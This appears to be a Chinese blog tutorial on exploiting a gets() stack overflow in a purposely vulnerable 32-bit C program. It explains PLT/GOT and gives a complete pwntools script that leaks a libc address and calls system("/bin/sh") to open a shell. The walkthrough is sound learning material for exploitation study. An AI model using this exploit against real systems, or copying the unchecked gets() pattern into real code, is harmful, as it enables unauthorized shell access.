程序:
#include<stdio.h>
char buf2[10] = "this is buf2";
void vul()
{char buf1[10];gets(buf1);
}
void main()
{write(1,"sinxx",5);vul();
}
很明显,gets函数存在溢出
编译:
gcc -no-pie -fno-stack-protector -m32 -o 9.exe 9.c
我们要用溢出,执行system("/bin/sh")函数
0x01 了解plt和got表
具体了解,看这篇文章:https://blog.csdn.net/qq_18661257/article/details/54694748
为了更好的用户体验和内存CPU的利用率,程序编译时会采用两种表进行辅助,一个为PLT表,一个为GOT表,PLT表可以称为内部函数表,GOT表为全局函数表(也可以说是动态函数表这是个人自称),这两个表是相对应的,什么叫做相对应呢,PLT表中的数据就是GOT表中的一个地址,可以理解为一定是一一对应的,如下图:
实际当中并不是,这里只是为了方便理解,画成这样,具体可看上面的文章
PLT表中的每一项的数据内容都是对应的GOT表中一项的地址这个是固定不变的,到这里大家也知道了PLTPLT表中的数据根本不是函数的真实地址,而是GOT表项的地址,好坑啊。
其实在大家进入带有@plt标志的函数时,这个函数其实就是个过渡作用,因为GOT表项中的数据才是函数最终的地址,而PLT表中的数据又是GOT表项的地址,我们就可以通过PLT表跳转到GOT表来得到函数真正的地址。
我们反汇编我们的程序,其中有下图中的write<@plt> ,这个地址并不是write函数真正的地址,这个是GOT表存放write函数地址数据的地址。
我们要记得plt表中并不是函数真是的地址,got表才是函数真正的地址,plt给的地址是来寻找got表中真正的函数地址。
0x02 分析
我们来看看保护机制:
虽然关闭了PIE,这个只是对这个程序来说没有PIE,当我们去执行system("/bin/sh"),动态调用,这个还是有地址随机化的。
我们要找到system和/bin/sh真正的地址,采用利用溢出去执行。
0x03 找到溢出点
利用pade生成100个字符
pattern create 100
使用命令c,让程序继续执行,复制我们生成的字符串,注意单引号不要复制
溢出了,查看现在的EIP,AA(A
使用命令查看溢出位置
pattern offset AA(A
溢出在22
0x04 构造poc
from pwn import *
context(arch="i386",os="linux")
p=process("9.exe")
e=ELF("9.exe") #加载9.exe这个文件
addr_write=e.plt["write"] #找到plt表中write地址
addr_gets=e.got["gets"] #找到got表中get地址
addr_vul=e.symbols["vul"] #找到vul函数地址print pidof(p)
offset=22
pause()payload1=offset*'a'+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)
p.sendlineafter("sinxx",payload1) #接收sinxx后发送payload1
gets_real_addr=u32(p.recv(4)) #将接收到的字符变成32位地址libc=ELF("/lib/i386-linux-gnu/libc.so.6")
rva_libc=gets_real_addr-libc.symbols["gets"]
addr_system=rva_libc+libc.symbols["system"]
addr_binsh=rva_libc+libc.search("/bin/sh").next()payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)
p.sendline(payload2)
p.interactive()
解释:
- addr_write=e.plt[“write”] #找到plt表中write地址
这个是找plt表中的地址,程序调用函数是先调用plt表中的地址,然后根据这个去找got表中真实的函数地址。 - addr_gets=e.got[“gets”] #找到got表中get地址
这个是找到gets函数真正的地址,是为了后面找system和/bin/sh真实地址做准备的 - rva_libc=gets_real_addr-libc.symbols[“gets”]
gets_real_addr是gets真实的地址,libc.symbols[“gets”]是gets在libc中的偏移地址,真实地址与偏移地址是不一样的,我们可以根据这个差,然后找到system和/bin/sh在libc中偏移地址,两者在相加就找到了system和/bin/sh的真实地址。
注意:poc中一共执行了两次poc,一次是执行按照执行顺序执行力一次,一次是payload1中执行执行了一次
很多人就有疑问了,我们为什么不直接找到system和/bin/sh在got的地址呢?
我们也想找到啊!关键它得有啊!
为了更好的用户体验和内存CPU的利用率,程序编译时会采用两种表进行辅助,一个为PLT表,一个为GOT表,PLT和GOT是程序编译时采用,所以system和/bin/sh并不在程序中,所以没有。
结果:
0x05 总结
我们利用溢出执行了程序没有的函数,虽然程序中是没有地址随机化的,但我们利用溢出去执行的函数所在的模块是有的,所以我们要把每次的变化求出来。
我们根据程序使用了libc库,libc库中有system和.bin/sh,所以我们可在libc找到system和.bin/sh,在libc中,我们找出system和.bin/sh的地址是偏移地址,但不是真正的地址,所以我们还需要计算出偏移量,根据gets函数,找到gets在GOT表中真实的地址,再找出在libc库的偏移地址,两者相减就找出了偏移量,最后根据偏移量和出system和.bin/sh的偏移地址,最终找到system和/bin/sh真实地址
关键是理解plt、got和偏移地址的关系,其他很好理解
注:自己理解,如有错误,请指出